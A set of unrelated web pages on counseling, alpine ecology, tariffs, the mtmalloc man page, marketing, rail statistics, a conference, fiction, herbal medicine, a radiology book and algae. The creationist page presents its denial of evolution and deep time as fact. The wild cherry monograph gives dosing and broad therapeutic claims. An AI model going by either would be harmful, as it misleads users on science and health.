Have you ever stood alone in the kitchen, mindlessly gorging yourself with whatever you can find in the cabinets and fridge? Or maybe you hit the drive-through at a local fast food chain and order enough for two people, then eat it in your car where no one you know can see you? Do you feel out-of-control sometimes with food? Have you experienced the guilt, shame, and regret that often follow? If you find yourself doing these or other similar things in your relationship with food, you may have Binge Eating Disorder (BED).
A person typically meets the criteria for Binge Eating Disorder when they are repeating the type of behaviors mentioned above at least one time per week. The danger of BED can include weight gain, gastro-intestinal issues, and loss of physical cues indicating fullness. Psychologically, BED can lead to depression and anxiety as a person unsuccessfully attempts to control their behavior with food, or believes food will help improve their pre-existing low mood state. Self-esteem often is decreased and issues can develop with body image.
Learning what factors may predispose you to BED and addressing underlying psychological issues, as well as learning to avoid triggers, is often very successful in helping individuals in their recovery from BED. Counseling can be a very effective resource for treating and overcoming BED. Genesis Counseling Center has several counselors who are able and eager to help.
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This summer, undergraduate students Max Wasser and Grace Kendziorski are spending time hiking in the mountains—and trapping pikas and counting flowers.
CU Boulder student Grace Kendziorski studies the mountain plant commonly known as moss campion to learn about the effects of climate change.
They are part of the 12 students participating in the Research Experiences for Undergraduates (REU) program at CU Boulder, who are conducting field research in the dramatic alpine setting above Nederland.
Wasser, a senior in ecology and evolutionary biology, is studying pikas with Research Associate Chris Ray. This is his third summer working with Ray at the research station.
Kendziorski is a senior studying environmental studies with a minor in ecology and evolutionary biology. She is working with Professor Dan Doak in environmental sciences to study Silene acaulis, an important plant in the alpine ecology.
Students accepted into CU Boulder’s REU program spend 10 weeks in the Colorado Rocky Mountains in individually mentored research projects and training workshops. The program is run by the Mountain Research Station (MRS) west of Boulder. Funded by the National Science Foundation, the program covers housing and food, plus a stipend and travel expenses.
The goal of the REU program is to:
- Train promising undergraduate students in research methods in ecology, evolution and behavior using mentored independent research.
- Encourage undergraduate students to pursue careers in ecological research.
Dedicated to the advancement of mountain environmental science, the research station is an interdisciplinary facility of the Institute of Arctic and Alpine Research and CU Boulder. Alpine ecosystems support an abundance of diverse and rare species that are being affected by climate change. At 9,500 feet in elevation, the station has provided research and educational opportunities for scientists, undergraduates and graduate students for nearly 100 years.
Bill Bowman, professor of ecology and evolutionary biology, has been director of the research station for 27 years.
“The REU Program is an amazing opportunity for undergraduate students to experience what it’s like to be a scientist doing independent research in one of the best-known mountain laboratories in the world,” Bowman said.
Max Wasser hunts pikas—to help them survive
From Laramie, Wyoming, Wasser is working as a field technician with Chris Ray, a research associate and population and conservation biologist. Ray’s work involves research on the American pika and how climatic influences are affecting their distribution, survival and occupancy in the Western United States.
With prominent ears and round bodies about the size of a baked potato, pikas live among the talus fields above tree-line. Since they don’t hibernate, pikas must cache a large dried vegetation pile under rocks to get through the winter. Rising summer temperatures are stressing the cute little mammals and keeping them from gathering enough hay to survive. Pikas have adapted to the cooler alpine temperatures, but when they are forced higher upslope and still find it too warm at the top, they are out of options.
This summer, Wasser is helping Ray trap pikas in the talus field on Niwot Ridge. They take blood and fur samples, gather fleas and ear mites, record their sex and body temperature, weigh and tag them, then set them free. Pikas are also being vaccinated for plague in a control study to determine whether that could be the reason for their decline.
This is Wasser’s third summer helping Ray with her research. He began in his freshman year conducting an exhaustive survey of historical pika habitats on the west knoll of Niwot Ridge and found 160 habitats.
“What I learned that first summer,” he said, “are that pikas are occupying a much smaller habitat on the west knoll compared to their historical distribution. This summer I’m trying to evaluate how snow cover affects pika occupancy.”
Wasser’s plans after graduation are either graduate school right away or to work first as a field tech in Costa Rica, another environment he’s interested in.
“It’s been an awesome opportunity working for Chris,” Wasser said. “I wanted to hike in the mountains and contribute to the pool of scientific knowledge. It’s hard to have a bad day up here. However tired, cold or hungry you are, it’s hard to not enjoy the view, smell the flowers, sit on a rock and appreciate where you are.”
Grace Kendziorski counts 400-year-old alpine plants
Kendziorski is working with Professor Dan Doak, a conservation biologist who studies demography and climate change in relations to alpine plants, and with Doak’s postdoctoral scientist Megan Peterson. One plant of interest to Doak and which Kendziorski is focusing on this summer is Silene acaulis or moss campion, also called cushion pink. A circumpolar perennial with tiny pink star flowers, Silene acaulis is found in alpine and tundra areas and can live up to 400 years. The moss-like plant acts as an ecosystem engineer or nurse plant by providing a safe environment for other little plants to grow in and around the rounded cushions.
Three times a week, Kendziorski hikes up to four plots sectioned off in the treeless tundra to painstakingly count all the tiny flowers growing on each plant in order to understand how the two sexes (females and hermaphrodites) of Silene acaulis use flowers in reproduction. Both females and hermaphrodites produce seeds, but females depend on hermaphrodites for pollen, which creates an interesting difference in resource allocation by plants and quality of seeds.
In addition to the number of flowers, Kendziorski also records information on rainfall, snowmelt, soil nutrients, survival, number of new plants, reproductive strategies and weather
Researchers have data on Silene acualis from every year since the plots were established in 2001.
“In the coming years, we’ll be able to understand how the climate is affecting it,” she said. “If there is less snow and it melts earlier, will Silene have the same pollinator interactions? Will the bees not be around in time for the flowering? If silene can’t flower and can’t reproduce, what will happen to all the other little alpine plants and bugs that depend on it?”
The work she’s doing at the research station this summer is providing her with hands-on opportunities to experience what she has learned in the classroom. After graduation, Kendziorski’s plans to earn a master’s degree in either biology or environmental science.
“Here, I’m surrounded by people who love the outdoors, who love little plants and studying ants,” she said. “They’re giving up their summer to do things like count the nodules on the roots of various plant species. It’s inspiring to be around them and to see their real and genuine interest in what we’re studying.” | <urn:uuid:3ce7fd5d-dc08-4b66-89d6-9edcd4dfc95c> | CC-MAIN-2022-33 | https://www.colorado.edu/today/2017/07/26/beyond-boulder-what-pikas-and-alpine-plants-tell-us-about-climate-change | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.95/warc/CC-MAIN-20220817032054-20220817062054-00465.warc.gz | en | 0.935092 | 1,504 | 2.515625 | 3 |
"Oh say, can you see...?"
If we ask Him, God helps us see and understand how Creation could work. This is the other kind of faith about our beginnings. It's really all about what we can see.
How could vision have evolved? We need it to see nature and the world around us. We need an eyeball, a visual cortex in the back of our brain, and an optic nerve to connect the first two. The eyeball picks up the rays of light and turns them into signals that travel along the optic nerve to the visual cortex. There they are instantly transformed into the view that we see.
Evolution cannot explain how vision evolved. Each of these three parts had to begin somehow, and evolve through many generations. But the parts would not have worked by themselves. They were useless. So they would not have continued to evolve. It would have taken a"Little Bang" to make it all happen at once.
In the first place, before they could see, how would any creature have known that there was light, or what it was good for?
The only answer is that we did not evolve. We were created. God gave us everything that exists, and He also gives us the vision to see it and marvel at it.
But it takes FAITH IN GOD to see and learn how He created everything. Such faith is a gift. We need to ask God for this faith so we can learn the truth about Him, and about our origins.
God wants us to see
If we know God, we don't need a "Little Bang" to explain how vision came to be. It's a special gift of God, our Creator. He wants us to see what He has created. He also wants us to see what the Bible tells us about Him, and about how and why everything began.
In the Bible we learn that it was God who made everything out of nothing. He created it by His wisdom and power, and most of all by His love. So right after He made the heavens and the earth, God said, "Let there be light." See Genesis 1:1-3.
With that command, God produced the whole array of electromagnetic waves in the universe. One small group of these waves are what we call "visible light." They make up the rainbow, as shown in this diagram.
The Electromagnetic Spectrum
Then God gave us vision, so we could use those waves of light. They help us learn and enjoy the truth about our beginnings, and about all of God's other gifts.
Learning to See the Truth
God tells us in the Bible why some of our smartest scientists believe in Evolution. It says:
The person without the Spirit doesn’t accept the things that come from the Spirit of God. These things are foolish to them. They can’t understand them. In fact, such things can’t be understood without the Spirit’s help. 1 Corinthians 2:14
So if we want to learn about Creation, we need to ask God to help us see the truth. Otherwise we're stuck with all the questions about Evolution.
Faith is the link to life with God. If we ask God to help us see, He gives us this faith. He opens our eyes to the truth. We can begin to grasp what God's Word is saying, and we can begin to feel and understand His love for us.
Just ask God to help you see and know Him.
A Prayer: Dear Father in heaven, please help me to know you and to see your Creation. Amen
Learn more about Creation below.
And see the page about Life w/God, above.
The Story of Creation
And God said, "Let there be..."
The story of Creation is very simple and complete in the Bible. It's in the very first book, Genesis, which means "beginning." Click here.
There were no accidents in Creation. There were no "billions of years." God simply spoke the words, and in six days He brought the entire universe, our beautiful world, and all forms of life into existence.
In the beginning, the earth was quite different from the way it is today. There was no evil and no death. All the forms of life got along perfectly with each other. God designed it as the perfect home for the first people, Adam and Eve. He gave them life because He wanted to enjoy it with them. He wanted them to be very much like Him.
You can learn more about Creation from the Creation Museum in
Petersburg, Kentucky. Take a little tour on the web. Click on Tour the Museum.
Creation Day by Day
When God created the heavens and the earth, He took six days to complete it. Here is a very brief record of His work.
Day 1 - God made the earth and the heavens. At first the earth was just a huge clump of mud, hanging in complete darkness. Then God made Light, and separated night and day.
Day 2 - God made the sky, with its atmosphere. He put a blanket of water above the sky to protect the earth and keep it just right for life. But that blanket later came down in a world-wide flood.
Day 3 - God separated the land from the water on the earth, leaving one huge ocean. Then he covered the land with plants of all kinds. This was the first kind of life. He gave plants the job of making new life cells out of water and air and the other dead matter in the earth. He also made them able to reproduce.
Day 4 - God put all the lights in the sky - the sun, the moon, and the stars.
Day 5 - God made all the creatures that live in the ocean and that fly in the air.
Day 6 - First God commanded the land to produce all the rest of the animals and other living creatures of every type.
Then God said, "Let us make humans so they are like us." He formed the first man out of soil from the earth, and breathed life into him. The man was more like God than any other creature. The man could think and talk with God. He was named Adam. God asked him to give names to all the animals.
After a short while, God took a rib from the man and used it to make the first woman. He made them close partners for life. He asked them to care for the earth. Adam gave his wife the name Eve.
Day 7 - The work of Creation was done. God made the day holy. And He has asked us to use a day of every week to rest and think about our life with Him, and how He loves us. | <urn:uuid:afe53d26-3aef-4158-ba63-a11127a5e485> | CC-MAIN-2022-33 | https://www.learntruth.net/creation | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.95/warc/CC-MAIN-20220817032054-20220817062054-00465.warc.gz | en | 0.977622 | 1,385 | 2.296875 | 2 |
South Korea to remove tariffs on food imports
South Korea has announced that it will lift tariffs on food imports to improve living standards in the country. On Monday, May 30, the local government unveiled a special package to help achieve the goal of improving household living conditions.
The package was designed to ease the burden on households for living expenses, as many are already suffering from rising consumer prices. With the Ministry of Finance’s KRW 3 trillion budget plan to support livelihoods, the government will reduce the burden of household spending on housing and basic commodities.
According to The Korea Herald, the government will implement a number of countermeasures, and the costs of this move will likely reach over KRW 3 trillion, or about $2.5 billion. The amount will come from public funds and will be used to combat the high rate of inflation. The plan was confirmed by economy ministers at a meeting in Seoul led by Deputy Prime Minister and Finance Minister Choo Kyung Ho.
Essentially, the objective of the measure is to impose a zero tariff on food ingredients such as cooking oil, flour, processed eggs, pork and wheat until the end of This year. As government officials prepare to scrap the tariff rate quota on imported pork from the current 22.5-25% to zero percent, the country’s economy and finance ministry says it could also lead to a reduction in pork prices in local markets by as much as up to 20%.
In addition, they also plan to suspend the tariff quota on flour and cooking oil, which normally carry import taxes of three and five percent, respectively. Officials will implement the zero percent tariff on the said products in the coming days.
The processed egg tax cuts will be extended as he already benefits from a tax holiday. For coffee and cocoa beans, the value added tax will also be abolished by 2023. The reduction is expected to affect import prices and ultimately reduce them by 9%. Overall, officials estimate that these tax cuts will reduce South Korea’s inflation rate by 0.1 percentage point per month.
Meanwhile, as noted on the International Trade Administration website, South Korea normally applies a flat 10% Value Added Tax (VAT) on all imports as well as locally produced goods. A special tariff of 10 to 20% is also imposed on the import of certain luxury items and consumer goods. | <urn:uuid:c2aa1e0c-47ae-45f9-9222-c82d3b629dfb> | CC-MAIN-2022-33 | https://vtcomputer.net/south-korea-to-remove-tariffs-on-food-imports/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573193.35/warc/CC-MAIN-20220818094131-20220818124131-00465.warc.gz | en | 0.964924 | 475 | 1.765625 | 2 |
mtmalloc(3MALLOC) Memory Allocation Library Functions mtmalloc(3MALLOC)
mtmalloc, mallocctl - MT hot memory allocator
cc -o a.out -lthread -lmtmalloc
void *malloc(size_t size);
void free(void *ptr);
void *memalign(size_t alignment, size_t size);
void *realloc(void *ptr, size_t size);
void *valloc(size_t size);
void mallocctl(int cmd, long value);
The malloc() and free() functions provide a simple general-purpose memory allocation package that is suitable for use in high performance
multithreaded applications. The suggested use of this library is in multithreaded applications; it can be used for single threaded appli-
cations, but there is no advantage in doing so. This library cannot be dynamically loaded with dlopen(3C) during runtime because there
must be only one manager of the process heap.
The malloc() function returns a pointer to a block of at least size bytes suitably aligned for any use.
The argument to free() is a pointer to a block previously allocated by malloc() or realloc(). After free() is performed this space is
available for further allocation. If ptr is a null pointer, no action occurs. The free() function does not set errno.
Undefined results will occur if the space assigned by malloc() is overrun or if a random number is handed to free(). A freed pointer that
is passed to free() will send a SIGABRT signal to the calling process. This behavior is controlled by mallocctl().
The memalign() function allocates size bytes on a specified alignment boundary and returns a pointer to the allocated block. The value of
the returned address is guaranteed to be an even multiple of alignment. Note that the value of alignment must be a power of two, and must
be greater than or equal to the size of a word.
The realloc() function changes the size of the block pointed to by ptr to size bytes and returns a pointer to the (possibly moved) block.
The contents will be unchanged up to the lesser of the new and old sizes. If the new size of the block requires movement of the block, the
space for the previous instantiation of the block is freed. If the new size is larger, the contents of the newly allocated portion of the
block are unspecified. If ptr is NULL, realloc() behaves like malloc() for the specified size. If size is 0 and ptr is not a null pointer,
the space pointed to is freed.
The valloc() function has the same effect as malloc(), except that the allocated memory will be aligned to a multiple of the value returned
After possible pointer coercion, each allocation routine returns a pointer to a space that is suitably aligned for storage of any type of
The malloc(), realloc(), memalign(), and valloc() functions will fail if there is not enough available memory.
The mallocctl() function controls the behavior of the malloc library. The options fall into two general classes, debugging options and per-
MTDOUBLEFREE Allows double free of a pointer. Setting value to 1 means yes and 0 means no. The default behavior of double free
results in a core dump.
MTDEBUGPATTERN Writes misaligned data into the buffer after free(). When the buffer is reallocated, the contents are verified to ensure
that there was no access to the buffer after the free. If the buffer has been dirtied, a SIGABRT signal is delivered to
the process. Setting value to 1 means yes and 0 means no. The default behavior is to not write misaligned data. The
pattern used is 0xdeadbeef. Use of this option results in a performance penalty.
MTINITBUFFER Writes misaligned data into the newly allocated buffer. This option is useful for detecting some accesses before initial-
ization. Setting value to 1 means yes and 0 means no. The default behavior is to not write misaligned data to the newly
allocated buffer. The pattern used is 0xbaddcafe. Use of this option results in a performance penalty.
MTCHUNKSIZE This option changes the size of allocated memory when a pool has exhausted all available memory in the buffer. Increasing
this value allocates more memory for the application. A substantial performance gain can occur because the library
makes fewer calls to the OS for more memory. Acceptable number values are between 9 and 256. The default value is 9.
This value is multiplied by 8192.
If there is no available memory, malloc(), realloc(), memalign(), and valloc() return a null pointer. When realloc() is called with size >
0 and returns NULL, the block pointed to by ptr is left intact. If size, nelem, or elsize is 0, either a null pointer or a unique pointer
that can be passed to free() is returned.
If malloc() or realloc() returns unsuccessfully, errno will be set to indicate the error.
The malloc() and realloc() functions will fail if:
ENOMEM The physical limits of the system are exceeded by size bytes of memory which cannot be allocated.
EAGAIN There is not enough memory available to allocate size bytes of memory; but the application could try again later.
Comparative features of the various allocation libraries can be found in the umem_alloc(3MALLOC) manual page.
See attributes(5) for descriptions of the following attributes:
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brk(2), getrlimit(2), bsdmalloc(3MALLOC), dlopen(3C), malloc(3C), malloc(3MALLOC), mapmalloc(3MALLOC), signal.h(3HEAD), umem_alloc(3MAL-
LOC), watchmalloc(3MALLOC), attributes(5)
Undefined results will occur if the size requested for a block of memory exceeds the maximum size of a process's heap. This information may
be obtained using getrlimit().
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Companies use a variety of different marketing methods to ensure they are targeting the right people. The “right people” refers to leads and customers that are the most likely to engage with your products and services by ultimately making a purchase. Data driven marketing is just one of these strategies that’s most effective, and those who know how to do it well can bring in a lot of business. However, understanding how data driven marketing works can be rather complicated, but everyone needs to start somewhere.
What is Data Driven Marketing?
Data driven marketing is a very specialized type of marketing. It allows companies to design their marketing tactics based on customer information. Because each customer is unique in how they choose to engage with anything online, you can use specific information — or data — to understand how they engage, to your advantage. It’s all about how you can find ways to target users based on the data you gather from their interactions. While this may all make sense, it’s gathering the data and analyzing it that’s difficult. Most company leaders aren’t data analysts. Therefore, data driven marketing is easiest when you have a little bit of help.
Use Marketing Automation Software to Gather Data
You’re using everything you can to reach your customers. This may be posts on social media platforms, video content, email campaigns, or written content for your website. Managing all these things can be stressful and time-consuming enough, which is why many companies turn to a marketing automation software like Mission Suite to help keep everything organized.
But, marketing automation software can also be used to collect meaningful data, as there are reports that are gathered and shared with you after each and every campaign. This data can help you understand more about yourself as a company and how you relate to your customers.
Using Data Driven Marketing for Demographic Lead Scoring
There are many different examples of data driven marketing. But, for beginners, a good place to start is with demographic lead scoring. Demographics are a key part of marketing for any company, and it’s no different when that company is online. Mission Suite allows businesses to use demographic lead scoring to determine which leads are high-qualified — essentially, which leads have the ability to actually say “yes” to buying your products or services. It does this by ranking contacts based on things like their title, net worth, location, etc. After having this data at your disposal, you can use it to develop marketing campaigns directed right to them.
Rank Users with Activity Lead Scoring
Demographic lead scoring isn’t the only way to utilize data driven marketing tactics. Mission Suite also allows companies to rank people based on their activity and engagement with your campaigns. For instance, anytime a user clicks on a link that you’ve shared, you’ll know about it. Every time a user visits your website or a specific page, you’ll be able to see it. And, every time someone downloads your e-book or whitepaper, you’ll know right away. Having this information on its own isn’t really useful. But, when you rank that information, then you know which contacts you need to follow-up with. With this meaningful data, you’ll know just who to market to, and who to put on the back-burner.
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Tag and Track Campaigns
Smart companies know that it’s essential to stay organized and pay attention to everything you’re doing. With many campaigns going out on a weekly basis, company leaders need to know which campaigns are doing better than others and why. By knowing which campaigns are actually generating leads and which campaigns are generating a majority of the traffic (or both), then it’s easy to use that data to create similar campaigns in the future.
Mission Suite allows users to do this easily by providing a means to custom tag each campaign. Some ways to tag campaigns are as “Organic Social,” “Paid Social,” “Paid Search” etc. Of course, you can create whichever tags you want that make the most sense to you. This is one of the first things that people do to implement data driven marketing, and its results are evident almost immediately.
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Dr. Danborno Secures Global Engagement Seed Grant Award
Published on: Dec 2nd, 2020
A global federation of neuroscience organizations, International Brain Research Organization (IBRO) recently awarded Dr. Angela Danborno (Senior Lecturer) of the department of Physiology, Bingham University the prestigious Global Engagement Seed Grant. The award is in the amount of £5000.
The Award Grant which is an annual event usually attracts the application of Scientist and Researchers from all over the globe, and is primarily involved in creating awareness and engaging the immediate and neighboring communities on the significance of the brain and its care.
IBRO was established in 1961 and has over 90 international, regional and national scientific organizations that constitute its Governing Council. It partners with scientific societies of like minds and organizations to identify priorities and help bridge gap in knowledge, investment and resources in the field of brain research.
The aim of the organization is to promote and support neuroscience around the world through training, teaching, research, outreach and engagement activities. | <urn:uuid:a61efab3-6af3-46b0-8512-108345fd8381> | CC-MAIN-2022-33 | https://binghamuni.edu.ng/v2/posts/dr-danborno-secures-global-engagement-seed-grant-award | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571911.5/warc/CC-MAIN-20220813081639-20220813111639-00465.warc.gz | en | 0.93895 | 208 | 1.726563 | 2 |
Russian Railways have reported a 15.3% year-on-year increase in rail container traffic during January-June 2021. All in all, 3.1 mn TEU was carried during the period under report.
Domestic container traffic grew by 7.7% up to 1.2 mn TEU, export was up 8.1% to 779.6 thousand TEU, import up 18% to 662.4 thousand TEU, while transit surged 1.5-fold up to 503.9 thousand TEU.
Laden container traffic made 2.2 mn TEU, up 22.3% year-on-year.
Commodity-wise, containerized grains grew the most, up 4-fold to 17 thousand TEU. Non-ferrous ore and raw sulphur surged 1.6-fold up to 18.1 thousand TEU.
Consumer goods were up 1.4-fold to 219 thousand TEU, hardware up 1.4-fold to 200.7 thousand TEU, machinery, engines and equipment up 1.4-fold up to 180 thousand TEU, potatoes, vegetables and fruit up 1.4-fold to 6 thousand TEU.
Containerized chemicals and soda were up 9.4% year-on-year to 373.4 thousand TEU, timber and woodwork up 9.3% to 293.5 thousand TEU, vehicles and parts up 38.9% to 143.7 thousand TEU, ferrous metals up 24.2% up to 120.4 thousand TEU, other and LCL cargo up 37.3% to 78.2 thousand TEU, and non-ferrous metals up 13.8% to 76.8 thousand TEU.
Construction cargo transportation increased by 22.6% up to 68.9 thousand TEU, chemical and mineral fertilizers by 20.5% to 25.1 thousand TEU, metal structures by 8.2% to 8 thousand TEU, fish by 17.7% up to 12.2 thousand TEU, other food products by 22.3% up to 88.9 thousand TEU.
Containerized coal transportation that started in February this year made 15 thousand tons during January-June 2021.
Containerized paper was down 0.9% to 175.3 thousand TEU, oil and products down 13.1% to 36.5 thousand TEU, meal and flour down 1.5% to 5.2 thousand TEU. | <urn:uuid:883783e4-7efd-4b23-9e0c-bd14205f2fc8> | CC-MAIN-2022-33 | https://seanews.ru/en/2021/07/06/en-russian-railways-container-traffic-up-15-during-h1-2021/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572043.2/warc/CC-MAIN-20220814143522-20220814173522-00465.warc.gz | en | 0.911452 | 516 | 1.5625 | 2 |
iEECON 2013 : International Electrical Engineering Congress
Call For Papers
iEECON (The International Electrical Engineering Congress) is the integration of major electrical engineering conferences such as power system, communications, electronics, control and measurement, digital signal processing, computer, etc. The objective of the congress is to provide a premier opportunity for professionals, academics, experts, engineers, scientists and industrial people worldwide in the field of research, development and applications of any area regarding to electrical engineering to share and exchange their knowledge and experiences.
The 2013 International Electrical Engineering Congress (iEECON 2013) will be held during March 13-15, 2013 at Chiangmai city, one of the most beautiful city in the Northern Thailand. Please consider iEECON 2013 to be a place to empower your coming hard-working year.
INTERNATIONAL CONFERENCE ON COMMUNICATIONS
Chair: Surachet Kanprachar
Naresuan University, Thailand
Communication Theory, Antennas and Propagation,
Optical Communications, Microwaves, Wireless
Communications, Signal Processing for Communication,
Channel Coding, Multimedia Communications,
Remote Sensing and Applications, etc.
INTERNATIONAL CONFERENCE ON ELECTRONICS & CONTROL
Chair: Boonchuay Supmonchai
Chulalongkorn University, Thailand
Mahidol University, Thailand
Analog Circuits, Filters and Data Conversion, Analog
and Mixed Signal Processing, Embedded Computer
System, Robotics, VLSI Design, Biomedical Electronics,
Industrial Electronics and automation, Adaptive
Control, Electric Circuit Technology, Fault Tolerance
and Detection, etc.
INTERNATIONAL CONFERENCE ON DIGITAL SIGNAL PROCESSING
Chair: Wisan Patchoo
Bangkok University, Thailand
Image and Video Processing, Audio and Speech
Processing, Pattern Recognition, Biomedical Signal
Processing, Computer Vision and Pattern Recognition,
Adaptive Signal Processing, Machine Learning
for Signal Processing, etc.
INTERNATIONAL CONFERENCE ON POWER & ENERGY
Chair: Issarachai Ngamroo
Smart Grid: Technology, Planning, Management,
Operation, and Control; Electric Power Systems:
Generation Transmission and Distribution, Electrical
Machines, Energy Conversions, Renewable Energy
Sources, Power Electronics, Energy Systems,
Power Quality, High Voltage Engineering, etc.
INTERNATIONAL CONFERENCE ON COMPUTER & IT
Chair: Akachai Sang-in
Chiang Mai University, Thailand
Computer Networks, Cloud Communication and
Networking, Data Mining, Artificial Intelligence, Computational
Theory, Information System, High Performance
Computing, Computer Security, Software
Engineering, Distributed and Parallel Computing,
Web Services and Internet Computing, Multi-agent
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The king took off his shoe and started pounding it on the table. “I am sick and tired of this jumble of patchwork laws that parliament has tried to foist upon my monarchy,” he bellowed. “There is no antecedent that can justify this assault on the crown!”
“You must calm down, my dear,” the queen said. “I’ve brought you a glass of warm milk to help you relax.”
The queen stood up, winked at the king, turned her back on him, and asked, “My lord, can you help me with my zipper? And then, if you follow me to my boudoir, I’ll offer you a respite from the strife and chaos, my sire, that will make you feel quite upbeat and help you release all of your tension.”
Written for today’s Three Things Challenge from Di, aka Pensitivity101, where the three things are patchwork, milk, and shoe.
Also for these daily prompts: Ragtag Daily Prompt (jumble), Your Daily Word Prompt (antecedent), Word of the Day Challenge (queen), The Daily Spur (surprise), Fandango’s One-Word Challenge (upbeat), and Daily Addictions (zipper). | <urn:uuid:7a061112-9b19-4d01-83f4-15702178744c> | CC-MAIN-2022-33 | https://fivedotoh.com/2019/09/16/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573193.35/warc/CC-MAIN-20220818094131-20220818124131-00465.warc.gz | en | 0.935764 | 280 | 1.71875 | 2 |
Wild cherry - Prunus spp. (in the Rosaceae or Rose family)
Part used: Bark.
Taste/smell: Sweet, bitter, astringent, almond-like taste.
Tendencies: Neutral temperature, drying.
Dosage: Decoction: 1 teaspoon per cup of water; or 1:3.5 dry strength liquid extract: 10-40 drops 1-4 times per day.
Mental picture and specific indications: Wild cherry is indicated when there is need to nourish and tonify the digestive or respiratory system.
Use: (a) Stimulating astringent, (b) Tonifying expectorant, (c) Quiets nervous irritability.
Wild cherry is an astringent tonic to the respiratory and gastrointestinal tracts with sedative actions on the nervous and circulatory systems. It is used as a nutritive tonic in pleurisy, pneumonia, whooping cough, nervous cough, acute inflammatory conditions and febrile diseases. It is useful in all irritations of mucous membranes in pulmonary, urinary and gastrointestinal tracts and indicated for chronic bronchitis, chronic diarrhea and coughs of a general nature. Wild cherry quiets nervous irritability associated with the heart also. In Chinese medicine, it is indicated when there is "heart fire blazing," consisting of palpitations, thirst, sores in the mouth and tongue, mental restlessness, agitation, feverishness, insomnia, rapid pulse, hot and dark urine and the swollen yellow-coated tongue has a red tip.
It contains amygdalin-like substance, starch, tannin, gallic acid, resin, hydrocyanic acid, prunasin, a cyanogenic glycoside that increases in green photosynthesizing bark, that is prevalent spring through fall.
Contraindications: Wild cherry contains cyanogenic glycosides that can be toxic in large doses or if used long term. It is contraindicated in pregnancy due to the teratogenic effects. The bark and leaves contain small amounts of cyanogenic glycosides and the seeds contain large amounts. | <urn:uuid:092bb077-5dff-4fc0-9fb6-cc4f33100075> | CC-MAIN-2022-33 | http://www.herbaltransitions.com/materiamedica/Prunus.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570793.14/warc/CC-MAIN-20220808092125-20220808122125-00665.warc.gz | en | 0.848615 | 452 | 1.640625 | 2 |
Felson’s Principles of Chest Roentgenology A Programmed 5th Edition
Easy to read, engaging, and highly interactive, Felson’s Principles of Chest Roentgenology: A Programmed Text, 5th Edition, has long been the go-to learning resource for medical students, residents, radiologists, and others who order and interpret chest x-rays. It offers a clear, self-directed tutorial on all aspects of chest imaging, including pathologies and anatomic challenges. You’ll find essential, accessible explanations of basic science, image reading and interpretation, and key terminology, along with hundreds of high-quality radiographs and interactive quizzes that have made this best-selling title the must-have primer of chest radiology.
Presents essential concepts in a straightforward, logically sequenced manner, with one chapter building on the next.
Emphasizes basic radiographic anatomy and signs of disease seen in everyday practice on the chest x-ray, helpfully presented from various points of view.
Includes more than 550 radiographs (many are new!) with correlative PET, CT, and MR images as appropriate―all presented with humor and insightful comments that provide a uniquely engaging self-directed learning experience for clinical application or board review.
Keeps you up to date with the latest thoracic imaging topics, including pleuroparenchymal fibroelastosis, combined pulmonary fibrosis with emphysema (CPFE), age-related lung changes, interstitial lung disease (ILD), lung cancer screening and tumor classification, and lower radiation dosing and safety considerations.
Provides numerous multiple-choice questions and quizzes throughout, along with answers, annotated x-rays, line drawings, cartoons, and engaging clinical tips.
Includes access to robust interactive offerings online, such as easy-to-access quizzes and board review questions.
Enhanced eBook version included with purchase. Your enhanced eBook allows you to access all of the text, figures, and references from the book on a variety of devices.
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Early Earth supported neither living creatures nor food. No life existed because the Earth's surface was too hot and there was no oxygen. The Earth's atmosphere was composed of a blanket of deadly and heat trapping CO2 and methane gas.
Fossil records show that a tiny plant emerged in the primordial soup and did an extraordinary thing. The plant absorbed the sun's energy and used a chemical reaction, photosynthesis, to split a CO2 and a water molecule. The tiny plant converted the carbon atom into a high-energy green plant bond, a hydrocarbon, by taking two hydrogen atoms from H2O and released the oxygen molecule to the atmosphere. Algae had begun its work to change the atmosphere.
Abiogenesis, the study of how life on earth emerged, uses a primordial soup theory and suggests the chemical conditions on Earth created the essential building blocks of life. While debate continues on exactly how the first life was synthesized, fossils suggest the first plant cell, cyanobacteria, also known as blue-green algae, was the size of a nano-particle, 5 µ (microns). The period at the end of this sentence is about 500 ?.
Algae systematically collected solar energy, sequestered carbon atoms and released oxygen. Moving at the incredibly slow rate of one tiny molecule at a time, algae transformed the harsh carbon dioxide atmosphere that could not sustain life to an oxygen atmosphere that supported life. Algae took another 3 billion years to create sufficient oxygen to support other forms of life because land plants evolved from algae only about 500 million years ago.
Algae's atmospheric transformation enabled the development of other water plants, fish, insects, land plants, amphibians, reptiles and eventually land animals. Even though microalgae are the tiniest plants on our planet, each day algae create 70% of the atmospheric oxygen, more than all the forest and fields combined.
Algae's contribution to our oxygen rich atmosphere is matched by this tiny plant's other gift — serving as the base of the food chain. Many of the earliest plants and water creatures depended on algae as a food source. Algae serve as nutritious food for everything from the tiniest phytoplankton to the largest mammal on earth, the great blue whale, because the plant offers an excellent set of proteins, minerals and vitamins. Every day, while algae captures CO2 and releases pure oxygen, the green biomass supplies food for 100 times more organisms than any other food source on Earth.
The brutal conditions on Earth meant the first algae cells had to evolve and re-evolve millions of times as their microenvironments crashed with electrical storms and severe heat followed by freezes and meteor showers of super-heated rocks. Algae displayed incredible persistence and developed a wide variety of defense mechanisms that allowed the plants to survive and to propagate. Algae's ability to adapt quickly in order to survive led to an estimated 10 million algal species, each with unique growth capabilities and biomass composition.
Since algae formed the lowest rung on the food chain, they developed a brilliant survival strategy — the ability to grow faster than its predators could eat. The herbivores that fed on algae ate many but not all of the fast growing plants. The ability to propagate faster than its predators could devour them created a tremendous competitive advantage and ensured algae's survival. Algae may have been the first free lunch because many species developed the capacity to double their biomass before midday. A single algal cell may create a million offspring in a day.
Algae blooms were common in ancient oceans, lakes and ponds. The fossil fuels we burn today are made up mostly of fossilized algae. Children are taught in school that crude oil comes from dinosaurs but dinosaurs roamed the earth about 200 million years too late to become the biomass of choice for fossil fuels.
